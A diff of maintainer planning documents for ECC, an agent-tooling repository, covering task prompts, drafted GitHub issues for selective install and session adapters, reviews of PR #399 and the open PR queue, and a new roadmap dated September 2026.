- classify or park existing changes before broader work
|
||||
|
||||
Tasks:
|
||||
1. Assess whether the app should support:
|
||||
- inventorying external skills
|
||||
- provenance tagging
|
||||
- dependency/risk audit fields
|
||||
- ECC convention adaptation workflows
|
||||
2. Review the existing GitHub integration surface in src/lib/github.ts.
|
||||
3. Produce a concrete product/technical scope for an audited import pipeline.
|
||||
4. If safe after branching, land the smallest enabling changes for metadata
|
||||
capture or GitHub ingestion.
|
||||
|
||||
Constraints:
|
||||
- do not turn this into a generic prompt-builder
|
||||
- keep the focus on audited skill ingestion and ECC-compatible output
|
||||
|
||||
Deliverables:
|
||||
- product-fit summary
|
||||
- recommended scope for v1
|
||||
- data fields / workflow steps for the import pipeline
|
||||
- code changes if they are small and clearly justified
|
||||
```
|
||||
|
||||
## Repo: `ECC` Workspace (`applications/`, `knowledge/`, `tasks/`)
|
||||
|
||||
### Prompt — Example Apps and Workflow Reliability Proofs
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>
|
||||
|
||||
Goal:
|
||||
Use the parent ECC workspace to support the mega-plan hosted/workflow lanes.
|
||||
This is not a standalone applications repo; it is the umbrella workspace that
|
||||
contains applications/, knowledge/, tasks/, and related planning assets.
|
||||
|
||||
Tasks:
|
||||
1. Inventory what in applications/ is real product code vs placeholder.
|
||||
2. Identify where example repos or demo apps should live for:
|
||||
- GitHub App workflow proofs
|
||||
- ECC 2.0 prototype spikes
|
||||
- example install / setup reliability checks
|
||||
3. Propose a clean workspace structure so product code, research, and planning
|
||||
stop bleeding into each other.
|
||||
4. Recommend which proof-of-concept should be built first.
|
||||
|
||||
Constraints:
|
||||
- do not move large directories blindly
|
||||
- distinguish repo structure recommendations from immediate code changes
|
||||
- keep recommendations compatible with the current multi-repo ECC setup
|
||||
|
||||
Deliverables:
|
||||
- workspace inventory
|
||||
- proposed structure
|
||||
- first demo/app recommendation
|
||||
- follow-up branch/worktree plan
|
||||
```
|
||||
|
||||
## Local Continuation
|
||||
|
||||
The current worktree should stay on ECC-native Phase 1 work that does not touch
|
||||
the existing dirty skill-file changes here. The best next local tasks are:
|
||||
|
||||
1. selective-install architecture
|
||||
2. ECC 2.0 discovery doc
|
||||
3. PR `#399` review
|
||||
@@ -1,272 +0,0 @@
|
||||
# Phase 1 Issue Bundle — March 12, 2026
|
||||
|
||||
## Status
|
||||
|
||||
These issue drafts were prepared from the March 11 mega plan plus the March 12
|
||||
handoff. I attempted to open them directly in GitHub, but issue creation was
|
||||
blocked by missing GitHub authentication in the MCP session.
|
||||
|
||||
## GitHub Status
|
||||
|
||||
These drafts were later posted via `gh`:
|
||||
|
||||
- `#423` Implement manifest-driven selective install profiles for ECC
|
||||
- `#421` Add ECC install-state plus uninstall / doctor / repair lifecycle
|
||||
- `#424` Define canonical session adapter contract for ECC 2.0 control plane
|
||||
- `#422` Define generated skill placement and provenance policy
|
||||
- `#425` Define governance and visibility past the tool call
|
||||
|
||||
The bodies below are preserved as the local source bundle used to create the
|
||||
issues.
|
||||
|
||||
## Issue 1
|
||||
|
||||
### Title
|
||||
|
||||
Implement manifest-driven selective install profiles for ECC
|
||||
|
||||
### Labels
|
||||
|
||||
- `enhancement`
|
||||
|
||||
### Body
|
||||
|
||||
```md
|
||||
## Problem
|
||||
|
||||
ECC still installs primarily by target and language. The repo now has first-pass
|
||||
selective-install manifests and a non-mutating plan resolver, but the installer
|
||||
itself does not yet consume those profiles.
|
||||
|
||||
Current groundwork already landed in-repo:
|
||||
|
||||
- `manifests/install-modules.json`
|
||||
- `manifests/install-profiles.json`
|
||||
- `scripts/ci/validate-install-manifests.js`
|
||||
- `scripts/lib/install-manifests.js`
|
||||
- `scripts/install-plan.js`
|
||||
|
||||
That means the missing step is no longer design discovery. The missing step is
|
||||
execution: wire profile/module resolution into the actual install flow while
|
||||
preserving backward compatibility.
|
||||
|
||||
## Scope
|
||||
|
||||
Implement manifest-driven install execution for current ECC targets:
|
||||
|
||||
- `claude`
|
||||
- `cursor`
|
||||
- `antigravity`
|
||||
|
||||
Add first-pass support for:
|
||||
|
||||
- `ecc-install --profile <name>`
|
||||
- `ecc-install --modules <id,id,...>`
|
||||
- target-aware filtering based on module target support
|
||||
- backward-compatible legacy language installs during rollout
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Full uninstall/doctor/repair lifecycle in the same issue
|
||||
- Codex/OpenCode install targets in the first pass if that blocks rollout
|
||||
- Reorganizing the repository into separate published packages
|
||||
|
||||
## Acceptance Criteria
|
||||
|
||||
- `install.sh` can resolve and install a named profile
|
||||
- `install.sh` can resolve explicit module IDs
|
||||
- Unsupported modules for a target are skipped or rejected deterministically
|
||||
- Legacy language-based install mode still works
|
||||
- Tests cover profile resolution and installer behavior
|
||||
- Docs explain the new preferred profile/module install path
|
||||
```
|
||||
|
||||
## Issue 2
|
||||
|
||||
### Title
|
||||
|
||||
Add ECC install-state plus uninstall / doctor / repair lifecycle
|
||||
|
||||
### Labels
|
||||
|
||||
- `enhancement`
|
||||
|
||||
### Body
|
||||
|
||||
```md
|
||||
## Problem
|
||||
|
||||
ECC has no canonical installed-state record. That makes uninstall, repair, and
|
||||
post-install inspection nondeterministic.
|
||||
|
||||
Today the repo can classify installable content, but it still cannot reliably
|
||||
answer:
|
||||
|
||||
- what profile/modules were installed
|
||||
- what target they were installed into
|
||||
- what paths ECC owns
|
||||
- how to remove or repair only ECC-managed files
|
||||
|
||||
Without install-state, lifecycle commands are guesswork.
|
||||
|
||||
## Scope
|
||||
|
||||
Introduce a durable install-state contract and the first lifecycle commands:
|
||||
|
||||
- `ecc list-installed`
|
||||
- `ecc uninstall`
|
||||
- `ecc doctor`
|
||||
- `ecc repair`
|
||||
|
||||
Suggested state locations:
|
||||
|
||||
- Claude: `~/.claude/ecc/install-state.json`
|
||||
- Cursor: `./.cursor/ecc-install-state.json`
|
||||
- Antigravity: `./.agent/ecc-install-state.json`
|
||||
|
||||
The state file should capture at minimum:
|
||||
|
||||
- installed version
|
||||
- timestamp
|
||||
- target
|
||||
- profile
|
||||
- resolved modules
|
||||
- copied/managed paths
|
||||
- source repo version or package version
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Rebuilding the installer architecture from scratch
|
||||
- Full remote/cloud control-plane functionality
|
||||
- Target support expansion beyond the current local installers unless it falls
|
||||
out naturally
|
||||
|
||||
## Acceptance Criteria
|
||||
|
||||
- Successful installs write install-state deterministically
|
||||
- `list-installed` reports target/profile/modules/version cleanly
|
||||
- `doctor` reports missing or drifted managed paths
|
||||
- `repair` restores missing managed files from recorded install-state
|
||||
- `uninstall` removes only ECC-managed files and leaves unrelated local files
|
||||
alone
|
||||
- Tests cover install-state creation and lifecycle behavior
|
||||
```
|
||||
|
||||
## Issue 3
|
||||
|
||||
### Title
|
||||
|
||||
Define canonical session adapter contract for ECC 2.0 control plane
|
||||
|
||||
### Labels
|
||||
|
||||
- `enhancement`
|
||||
|
||||
### Body
|
||||
|
||||
```md
|
||||
## Problem
|
||||
|
||||
ECC now has real orchestration/session substrate, but it is still
|
||||
implementation-specific.
|
||||
|
||||
Current state:
|
||||
|
||||
- tmux/worktree orchestration exists
|
||||
- machine-readable session snapshots exist
|
||||
- Claude local session-history commands exist
|
||||
|
||||
What does not exist yet is a harness-neutral adapter boundary that can normalize
|
||||
session/task state across:
|
||||
|
||||
- tmux-orchestrated workers
|
||||
- plain Claude sessions
|
||||
- Codex worktrees
|
||||
- OpenCode sessions
|
||||
- later remote or GitHub-integrated operator surfaces
|
||||
|
||||
Without that adapter contract, any future ECC 2.0 operator shell will be forced
|
||||
to read tmux-specific and markdown-coordination details directly.
|
||||
|
||||
## Scope
|
||||
|
||||
Define and implement the first-pass canonical session adapter layer.
|
||||
|
||||
Suggested deliverables:
|
||||
|
||||
- adapter registry
|
||||
- canonical session snapshot schema
|
||||
- `dmux-tmux` adapter backed by current orchestration code
|
||||
- `claude-history` adapter backed by current session history utilities
|
||||
- read-only inspection CLI for canonical session snapshots
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Full ECC 2.0 UI in the same issue
|
||||
- Monetization/GitHub App implementation
|
||||
- Remote multi-user control plane
|
||||
|
||||
## Acceptance Criteria
|
||||
|
||||
- There is a documented canonical snapshot contract
|
||||
- Current tmux orchestration snapshot code is wrapped as an adapter rather than
|
||||
the top-level product contract
|
||||
- A second non-tmux adapter exists to prove the abstraction is real
|
||||
- Tests cover adapter selection and normalized snapshot output
|
||||
- The design clearly separates adapter concerns from orchestration and UI
|
||||
concerns
|
||||
```
|
||||
|
||||
## Issue 4
|
||||
|
||||
### Title
|
||||
|
||||
Define generated skill placement and provenance policy
|
||||
|
||||
### Labels
|
||||
|
||||
- `enhancement`
|
||||
|
||||
### Body
|
||||
|
||||
```md
|
||||
## Problem
|
||||
|
||||
ECC now has a large and growing skill surface, but generated/imported/learned
|
||||
skills do not yet have a clear long-term placement and provenance policy.
|
||||
|
||||
This creates several problems:
|
||||
|
||||
- unclear separation between curated skills and generated/learned skills
|
||||
- validator noise around directories that may or may not exist locally
|
||||
- weak provenance for imported or machine-generated skill content
|
||||
- uncertainty about where future automated learning outputs should live
|
||||
|
||||
As ECC grows, the repo needs explicit rules for where generated skill artifacts
|
||||
belong and how they are identified.
|
||||
|
||||
## Scope
|
||||
|
||||
Define a repo-wide policy for:
|
||||
|
||||
- curated vs generated vs imported skill placement
|
||||
- provenance metadata requirements
|
||||
- validator behavior for optional/generated skill directories
|
||||
- whether generated skills are shipped, ignored, or materialized during
|
||||
install/build steps
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Building a full external skill marketplace
|
||||
- Rewriting all existing skill content in one pass
|
||||
- Solving every content-quality issue in the same issue
|
||||
|
||||
## Acceptance Criteria
|
||||
|
||||
- A documented placement policy exists for generated/imported skills
|
||||
- Provenance requirements are explicit
|
||||
- Validators no longer produce ambiguous behavior around optional/generated
|
||||
skill locations
|
||||
- The policy clearly states what is publishable vs local-only
|
||||
- Follow-on implementation work is split into concrete, bounded PR-sized steps
|
||||
```
|
||||
@@ -1,59 +0,0 @@
|
||||
# PR 399 Review — March 12, 2026
|
||||
|
||||
## Scope
|
||||
|
||||
Reviewed `#399`:
|
||||
|
||||
- title: `fix(observe): 5-layer automated session guard to prevent self-loop observations`
|
||||
- head: `e7df0e588ceecfcd1072ef616034ccd33bb0f251`
|
||||
- files changed:
|
||||
- `skills/continuous-learning-v2/hooks/observe.sh`
|
||||
- `skills/continuous-learning-v2/agents/observer-loop.sh`
|
||||
|
||||
## Findings
|
||||
|
||||
### Medium
|
||||
|
||||
1. `skills/continuous-learning-v2/hooks/observe.sh`
|
||||
|
||||
The new `CLAUDE_CODE_ENTRYPOINT` guard uses a finite allowlist of known
|
||||
non-`cli` values (`sdk-ts`, `sdk-py`, `sdk-cli`, `mcp`, `remote`).
|
||||
|
||||
That leaves a forward-compatibility hole: any future non-`cli` entrypoint value
|
||||
will fall through and be treated as interactive. That reintroduces the exact
|
||||
class of automated-session observation the PR is trying to prevent.
|
||||
|
||||
The safer rule is:
|
||||
|
||||
- allow only `cli`
|
||||
- treat every other explicit entrypoint as automated
|
||||
- keep the default fallback as `cli` when the variable is unset
|
||||
|
||||
Suggested shape:
|
||||
|
||||
```bash
|
||||
case "${CLAUDE_CODE_ENTRYPOINT:-cli}" in
|
||||
cli) ;;
|
||||
*) exit 0 ;;
|
||||
esac
|
||||
```
|
||||
|
||||
## Merge Recommendation
|
||||
|
||||
`Needs one follow-up change before merge.`
|
||||
|
||||
The PR direction is correct:
|
||||
|
||||
- it closes the ECC self-observation loop in `observer-loop.sh`
|
||||
- it adds multiple guard layers in the right area of `observe.sh`
|
||||
- it already addressed the cheaper-first ordering and skip-path trimming issues
|
||||
|
||||
But the entrypoint guard should be generalized before merge so the automation
|
||||
filter does not silently age out when Claude Code introduces additional
|
||||
non-interactive entrypoints.
|
||||
|
||||
## Residual Risk
|
||||
|
||||
- There is still no dedicated regression test coverage around the new shell
|
||||
guard behavior, so the final merge should include at least one executable
|
||||
verification pass for the entrypoint and skip-path cases.
|
||||
@@ -1,355 +0,0 @@
|
||||
# PR Review And Queue Triage — March 13, 2026
|
||||
|
||||
## Snapshot
|
||||
|
||||
This document records a live GitHub triage snapshot for the
|
||||
`everything-claude-code` pull-request queue as of `2026-03-13T08:33:31Z`.
|
||||
|
||||
Sources used:
|
||||
|
||||
- `gh pr view`
|
||||
- `gh pr checks`
|
||||
- `gh pr diff --name-only`
|
||||
- targeted local verification against the merged `#399` head
|
||||
|
||||
Stale threshold used for this pass:
|
||||
|
||||
- `last updated before 2026-02-11` (`>30` days before March 13, 2026)
|
||||
|
||||
## PR `#399` Retrospective Review
|
||||
|
||||
PR:
|
||||
|
||||
- `#399` — `fix(observe): 5-layer automated session guard to prevent self-loop observations`
|
||||
- state: `MERGED`
|
||||
- merged at: `2026-03-13T06:40:03Z`
|
||||
- merge commit: `c52a28ace9e7e84c00309fc7b629955dfc46ecf9`
|
||||
|
||||
Files changed:
|
||||
|
||||
- `skills/continuous-learning-v2/hooks/observe.sh`
|
||||
- `skills/continuous-learning-v2/agents/observer-loop.sh`
|
||||
|
||||
Validation performed against merged head `546628182200c16cc222b97673ddd79e942eacce`:
|
||||
|
||||
- `bash -n` on both changed shell scripts
|
||||
- `node tests/hooks/hooks.test.js` (`204` passed, `0` failed)
|
||||
- targeted hook invocations for:
|
||||
- interactive CLI session
|
||||
- `CLAUDE_CODE_ENTRYPOINT=mcp`
|
||||
- `ECC_HOOK_PROFILE=minimal`
|
||||
- `ECC_SKIP_OBSERVE=1`
|
||||
- `agent_id` payload
|
||||
- trimmed `ECC_OBSERVE_SKIP_PATHS`
|
||||
|
||||
Behavioral result:
|
||||
|
||||
- the core self-loop fix works
|
||||
- automated-session guard branches suppress observation writes as intended
|
||||
- the final `non-cli => exit` entrypoint logic is the correct fail-closed shape
|
||||
|
||||
Remaining findings:
|
||||
|
||||
1. Medium: skipped automated sessions still create homunculus project state
|
||||
before the new guards exit.
|
||||
`observe.sh` resolves `cwd` and sources project detection before reaching the
|
||||
automated-session guard block, so `detect-project.sh` still creates
|
||||
`projects/<id>/...` directories and updates `projects.json` for sessions that
|
||||
later exit early.
|
||||
2. Low: the new guard matrix shipped without direct regression coverage.
|
||||
The hook test suite still validates adjacent behavior, but it does not
|
||||
directly assert the new `CLAUDE_CODE_ENTRYPOINT`, `ECC_HOOK_PROFILE`,
|
||||
`ECC_SKIP_OBSERVE`, `agent_id`, or trimmed skip-path branches.
|
||||
|
||||
Verdict:
|
||||
|
||||
- `#399` is technically correct for its primary goal and was safe to merge as
|
||||
the urgent loop-stop fix.
|
||||
- It still warrants a follow-up issue or patch to move automated-session guards
|
||||
ahead of project-registration side effects and to add explicit guard-path
|
||||
tests.
|
||||
|
||||
## Open PR Inventory
|
||||
|
||||
There are currently `4` open PRs.
|
||||
|
||||
### Queue Table
|
||||
|
||||
| PR | Title | Draft | Mergeable | Merge State | Updated | Stale | Current Verdict |
|
||||
| --- | --- | --- | --- | --- | --- | --- | --- |
|
||||
| `#292` | `chore(config): governance and config foundation (PR #272 split 1/6)` | `false` | `MERGEABLE` | `UNSTABLE` | `2026-03-13T07:26:55Z` | `No` | `Best current merge candidate` |
|
||||
| `#298` | `feat(agents,skills,rules): add Rust, Java, mobile, DevOps, and performance content` | `false` | `CONFLICTING` | `DIRTY` | `2026-03-11T04:29:07Z` | `No` | `Needs changes before review can finish` |
|
||||
| `#336` | `Customisation for Codex CLI - Features from Claude Code and OpenCode` | `true` | `MERGEABLE` | `UNSTABLE` | `2026-03-13T07:26:12Z` | `No` | `Needs manual review and draft exit` |
|
||||
| `#420` | `feat: add laravel skills` | `true` | `MERGEABLE` | `UNSTABLE` | `2026-03-12T22:57:36Z` | `No` | `Low-risk draft, review after draft exit` |
|
||||
|
||||
No currently open PR is stale by the `>30 days since last update` rule.
|
||||
|
||||
## Per-PR Assessment
|
||||
|
||||
### `#292` — Governance / Config Foundation
|
||||
|
||||
Live state:
|
||||
|
||||
- open
|
||||
- non-draft
|
||||
- `MERGEABLE`
|
||||
- merge state `UNSTABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
|
||||
Scope:
|
||||
|
||||
- `.env.example`
|
||||
- `.github/ISSUE_TEMPLATE/copilot-task.md`
|
||||
- `.github/PULL_REQUEST_TEMPLATE.md`
|
||||
- `.gitignore`
|
||||
- `.markdownlint.json`
|
||||
- `.tool-versions`
|
||||
- `VERSION`
|
||||
|
||||
Assessment:
|
||||
|
||||
- This is the cleanest merge candidate in the current queue.
|
||||
- The branch was already refreshed onto current `main`.
|
||||
- The currently visible bot feedback is minor/nit-level rather than obviously
|
||||
merge-blocking.
|
||||
- The main caution is that only external bot checks are visible right now; no
|
||||
GitHub Actions matrix run appears in the current PR checks output.
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Mergeable after one final owner pass.`
|
||||
- If you want a conservative path, do one quick human review of the remaining
|
||||
`.env.example`, PR-template, and `.tool-versions` nitpicks before merge.
|
||||
|
||||
### `#298` — Large Multi-Domain Content Expansion
|
||||
|
||||
Live state:
|
||||
|
||||
- open
|
||||
- non-draft
|
||||
- `CONFLICTING`
|
||||
- merge state `DIRTY`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
- `cubic · AI code reviewer` passed
|
||||
|
||||
Scope:
|
||||
|
||||
- `35` files
|
||||
- large documentation and skill/rule expansion across Java, Rust, mobile,
|
||||
DevOps, performance, data, and MLOps
|
||||
|
||||
Assessment:
|
||||
|
||||
- This PR is not ready for merge.
|
||||
- It conflicts with current `main`, so it is not even mergeable at the branch
|
||||
level yet.
|
||||
- cubic identified `34` issues across `35` files in the current review.
|
||||
Those findings are substantive and technical, not just style cleanup, and
|
||||
they cover broken or misleading examples across several new skills.
|
||||
- Even without the conflict, the scope is large enough that it needs a deliberate
|
||||
content-fix pass rather than a quick merge decision.
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Needs changes.`
|
||||
- Rebase or restack first, then resolve the substantive example-quality issues.
|
||||
- If momentum matters, split by domain rather than carrying one very large PR.
|
||||
|
||||
### `#336` — Codex CLI Customization
|
||||
|
||||
Live state:
|
||||
|
||||
- open
|
||||
- draft
|
||||
- `MERGEABLE`
|
||||
- merge state `UNSTABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
|
||||
Scope:
|
||||
|
||||
- `scripts/codex-git-hooks/pre-commit`
|
||||
- `scripts/codex-git-hooks/pre-push`
|
||||
- `scripts/codex/check-codex-global-state.sh`
|
||||
- `scripts/codex/install-global-git-hooks.sh`
|
||||
- `scripts/sync-ecc-to-codex.sh`
|
||||
|
||||
Assessment:
|
||||
|
||||
- This PR is no longer conflicting, but it is still draft-only and has not had
|
||||
a meaningful first-party review pass.
|
||||
- It modifies user-global Codex setup behavior and git-hook installation, so the
|
||||
operational blast radius is higher than a docs-only PR.
|
||||
- The visible checks are only external bots; there is no full GitHub Actions run
|
||||
shown in the current check set.
|
||||
- Because the branch comes from a contributor fork `main`, it also deserves an
|
||||
extra sanity pass on what exactly is being proposed before changing status.
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Needs changes before merge readiness`, where the required changes are process
|
||||
and review oriented rather than an already-proven code defect:
|
||||
- finish manual review
|
||||
- run or confirm validation on the global-state scripts
|
||||
- take it out of draft only after that review is complete
|
||||
|
||||
### `#420` — Laravel Skills
|
||||
|
||||
Live state:
|
||||
|
||||
- open
|
||||
- draft
|
||||
- `MERGEABLE`
|
||||
- merge state `UNSTABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
|
||||
Scope:
|
||||
|
||||
- `README.md`
|
||||
- `examples/laravel-api-CLAUDE.md`
|
||||
- `rules/php/patterns.md`
|
||||
- `rules/php/security.md`
|
||||
- `rules/php/testing.md`
|
||||
- `skills/configure-ecc/SKILL.md`
|
||||
- `skills/laravel-patterns/SKILL.md`
|
||||
- `skills/laravel-security/SKILL.md`
|
||||
- `skills/laravel-tdd/SKILL.md`
|
||||
- `skills/laravel-verification/SKILL.md`
|
||||
|
||||
Assessment:
|
||||
|
||||
- This is content-heavy and operationally lower risk than `#336`.
|
||||
- It is still draft and has not had a substantive human review pass yet.
|
||||
- The visible checks are external bots only.
|
||||
- Nothing in the live PR state suggests a merge blocker yet, but it is not ready
|
||||
to be merged simply because it is still draft and under-reviewed.
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Review next after the highest-priority non-draft work.`
|
||||
- Likely a good review candidate once the author is ready to exit draft.
|
||||
|
||||
## Mergeability Buckets
|
||||
|
||||
### Mergeable Now Or After A Final Owner Pass
|
||||
|
||||
- `#292`
|
||||
|
||||
### Needs Changes Before Merge
|
||||
|
||||
- `#298`
|
||||
- `#336`
|
||||
|
||||
### Draft / Needs Review Before Any Merge Decision
|
||||
|
||||
- `#420`
|
||||
|
||||
### Stale `>30 Days`
|
||||
|
||||
- none
|
||||
|
||||
## Recommended Order
|
||||
|
||||
1. `#292`
|
||||
This is the cleanest live merge candidate.
|
||||
2. `#420`
|
||||
Low runtime risk, but wait for draft exit and a real review pass.
|
||||
3. `#336`
|
||||
Review carefully because it changes global Codex sync and hook behavior.
|
||||
4. `#298`
|
||||
Rebase and fix the substantive content issues before spending more review time
|
||||
on it.
|
||||
|
||||
## Bottom Line
|
||||
|
||||
- `#399`: safe bugfix merge with one follow-up cleanup still warranted
|
||||
- `#292`: highest-priority merge candidate in the current open queue
|
||||
- `#298`: not mergeable; conflicts plus substantive content defects
|
||||
- `#336`: no longer conflicting, but not ready while still draft and lightly
|
||||
validated
|
||||
- `#420`: draft, low-risk content lane, review after the non-draft queue
|
||||
|
||||
## Live Refresh
|
||||
|
||||
Refreshed at `2026-03-13T22:11:40Z`.
|
||||
|
||||
### Main Branch
|
||||
|
||||
- `origin/main` is green right now, including the Windows test matrix.
|
||||
- Mainline CI repair is not the current bottleneck.
|
||||
|
||||
### Updated Queue Read
|
||||
|
||||
#### `#292` — Governance / Config Foundation
|
||||
|
||||
- open
|
||||
- non-draft
|
||||
- `MERGEABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
- highest-signal remaining work is not CI repair; it is the small correctness
|
||||
pass on `.env.example` and PR-template alignment before merge
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Next actionable PR.`
|
||||
- Either patch the remaining doc/config correctness issues, or do one final
|
||||
owner pass and merge if you accept the current tradeoffs.
|
||||
|
||||
#### `#420` — Laravel Skills
|
||||
|
||||
- open
|
||||
- draft
|
||||
- `MERGEABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` skipped because the PR is draft
|
||||
- `GitGuardian Security Checks` passed
|
||||
- no substantive human review is visible yet
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Review after the non-draft queue.`
|
||||
- Low implementation risk, but not merge-ready while still draft and
|
||||
under-reviewed.
|
||||
|
||||
#### `#336` — Codex CLI Customization
|
||||
|
||||
- open
|
||||
- draft
|
||||
- `MERGEABLE`
|
||||
- visible checks:
|
||||
- `CodeRabbit` passed
|
||||
- `GitGuardian Security Checks` passed
|
||||
- still needs a deliberate manual review because it touches global Codex sync
|
||||
and git-hook installation behavior
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Manual-review lane, not immediate merge lane.`
|
||||
|
||||
#### `#298` — Large Content Expansion
|
||||
|
||||
- open
|
||||
- non-draft
|
||||
- `CONFLICTING`
|
||||
- still the hardest remaining PR in the queue
|
||||
|
||||
Current recommendation:
|
||||
|
||||
- `Last priority among current open PRs.`
|
||||
- Rebase first, then handle the substantive content/example corrections.
|
||||
|
||||
### Current Order
|
||||
|
||||
1. `#292`
|
||||
2. `#420`
|
||||
3. `#336`
|
||||
4. `#298`
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
# ECC Roadmap
|
||||
|
||||
Status: maintainer planning draft, updated 2026-09-09 against the integrated
|
||||
source candidate based on release 2.2.1. Source inclusion is not a release or live
|
||||
verification claim. Dates are targets, not commitments; bracketed numbers remain
|
||||
planning choices.
|
||||
|
||||
The two older planning docs stay as evidence and history:
|
||||
`docs/ECC-2.0-GA-ROADMAP.md` (2.0 milestones and control-plane deltas) and
|
||||
`docs/ECC-PRO-SECURITY-ROADMAP.md` (AgentShield and Pro conversion). This file
|
||||
is the short, current view.
|
||||
|
||||
## Vision
|
||||
|
||||
ECC is the operating layer between a developer and whatever coding agent they
|
||||
run. Shared skills, rules, and agent guidance provide portable core workflows
|
||||
across Claude Code, Codex, OpenCode, Cursor, Gemini, and other harnesses.
|
||||
Hooks, installation paths, and feature coverage vary by host; consult the
|
||||
[support status matrix](../README.md#platform-support) for current limits.
|
||||
The bar for everything that ships: simpler to read, faster to run, and
|
||||
traceable after the fact, for agents and humans alike.
|
||||
|
||||
Three things follow from that.
|
||||
|
||||
1. **The repo is the product.** Curated skills, hooks, and rules are the
|
||||
surface people install. Anything that is not installed, tested, or read by
|
||||
someone should not be in the tree.
|
||||
2. **Evidence over assertion.** A harness change earns trust through a gate
|
||||
receipt, a capsule, and a reproducible verdict, not through a paragraph
|
||||
saying it works. The offline eval framework provides the recording and review primitives;
|
||||
isolated candidate execution remains future work.
|
||||
3. **Operator patterns travel.** Approval loops, channel discipline,
|
||||
agreement generation, and e-sign placement were built for one desk. As
|
||||
generic skills they are useful to anyone running agents next to
|
||||
counterparties, customers, or money.
|
||||
|
||||
## Where we are
|
||||
|
||||
- The 2.2.1 source baseline includes guided manifest-driven setup, install-state
|
||||
ownership, repair and uninstall. Its release workflow requires exact-head
|
||||
validation; this roadmap is not release-signature evidence.
|
||||
- Catalog in this source snapshot: 68 agents, 291 skills, 94 legacy commands. The
|
||||
count is a liability as much as an asset. Overlapping and unreferenced
|
||||
skills exist.
|
||||
- The README now has one primary install section, with per-harness details
|
||||
and release history linked to `CHANGELOG.md`. Further shortening is a target,
|
||||
not a completed claim.
|
||||
- Eval source now includes capsule journals, replay matching and offline
|
||||
receipt inspection, plus a protocol example. Candidate execution and staged
|
||||
gate runs are disabled: no actual OS containment exists. Offline validation
|
||||
and a receipt signature do not establish safe execution or promotion authority.
|
||||
- The README describes AgentShield scanning and the hosted ECC Pro surface.
|
||||
Further conversion and scan-history improvements below are proposals, not
|
||||
evidence of missing paid functionality or verified adoption.
|
||||
|
||||
## Plan
|
||||
|
||||
### Track A: condense
|
||||
|
||||
Cut what nobody reads or installs. Merge what overlaps. One README that reads
|
||||
top to bottom in one pass. Exit criteria: no zero-reference tracked doc
|
||||
outside `docs/releases/`, no deprecated skill still shipped by default,
|
||||
README under [1,200] lines with one install path per harness.
|
||||
|
||||
### Track B: evidence
|
||||
|
||||
Implement and independently test an OS executor before enabling the gate:
|
||||
contain child processes, filesystem and network access, scrub inherited
|
||||
capabilities, enforce resource limits, and bind replay and result provenance.
|
||||
Keep execution disabled until those boundaries are proven. Then wire the
|
||||
`harness-optimizer` agent and `/harness-audit` to emit gate receipts. Add
|
||||
capsule recording to the hooks that already log session activity. Then the
|
||||
next two plan slices: offline retrospective grouping over capsules (no new
|
||||
rollouts) and forced-compaction tests that prove pinned constraints survive.
|
||||
|
||||
### Track C: operator skills
|
||||
|
||||
The four desk-pattern skills are present in this candidate: operator approval
|
||||
loop, counterparty channel discipline, master agreement drafting with bounded
|
||||
schedule append, and e-sign field placement guidance. Validate each with its
|
||||
actual consumer and collect outside feedback before adding more. Written send
|
||||
and audience contracts do not claim transport enforcement; generated agreements
|
||||
remain drafts and DOCX conversion does not establish execution readiness.
|
||||
|
||||
### Track D: distribution and revenue
|
||||
|
||||
Keep the release path boring: tag on main, CI green at the exact head, packed
|
||||
artifact tested on three platforms. Improve the AgentShield-to-Pro conversion path, evaluating hosted scan history
|
||||
and a PR-comment autofix loop against what the hosted product already supports. Details and
|
||||
scoring live in the security roadmap.
|
||||
|
||||
## Next 90 days
|
||||
|
||||
Window: 2026-09-02 to 2026-12-01.
|
||||
|
||||
### September
|
||||
|
||||
- Review and release the composed 2026-09-02 program: offline eval frameworks,
|
||||
desk-pattern skills, condensation and this roadmap. The source candidate
|
||||
incorporates them; merge and release remain separate maintainer decisions.
|
||||
- README linear pass merged. Release notes move to `CHANGELOG.md` only.
|
||||
- Delete list from the condensation survey executed, with catalog counts,
|
||||
manifests, and locale mirrors updated in the same PR.
|
||||
- Decide the fate of `continuous-learning` v1 (deprecated since April): remove
|
||||
in [2.3.0] with a migration note, or keep as an archive outside the default
|
||||
install.
|
||||
|
||||
### October
|
||||
|
||||
- `harness-optimizer` and `/harness-audit` produce gate receipts. A skill,
|
||||
hook, or agent change in this repo can cite a receipt in its PR.
|
||||
- Capsule recording behind an opt-in hook flag, journaling tool calls and
|
||||
session boundaries with the default-deny payload allowlist.
|
||||
- First taskset beyond the example: [20 to 60] tasks over one real skill
|
||||
family, with a held-out split and a reward-hack fixture.
|
||||
- Skill catalog review: every skill has a test, a command, an agent, or a
|
||||
README mention, or it is marked for removal in [2.4.0].
|
||||
|
||||
### November
|
||||
|
||||
- 2.3.0: condensation, eval frameworks, and operator skills in one release
|
||||
with the packed-artifact gate.
|
||||
- Retrospective grouping over recorded capsules for one task family, report
|
||||
only, no promotion.
|
||||
- Forced-compaction invariance test in CI for the pinned-state pattern.
|
||||
- AgentShield Pro conversion CTA and hosted scan history behind a flag.
|
||||
|
||||
### Decision points
|
||||
|
||||
- 2026-09-30: is the README under the line target with no test regressions?
|
||||
If not, cut scope on Track A rather than slipping the release.
|
||||
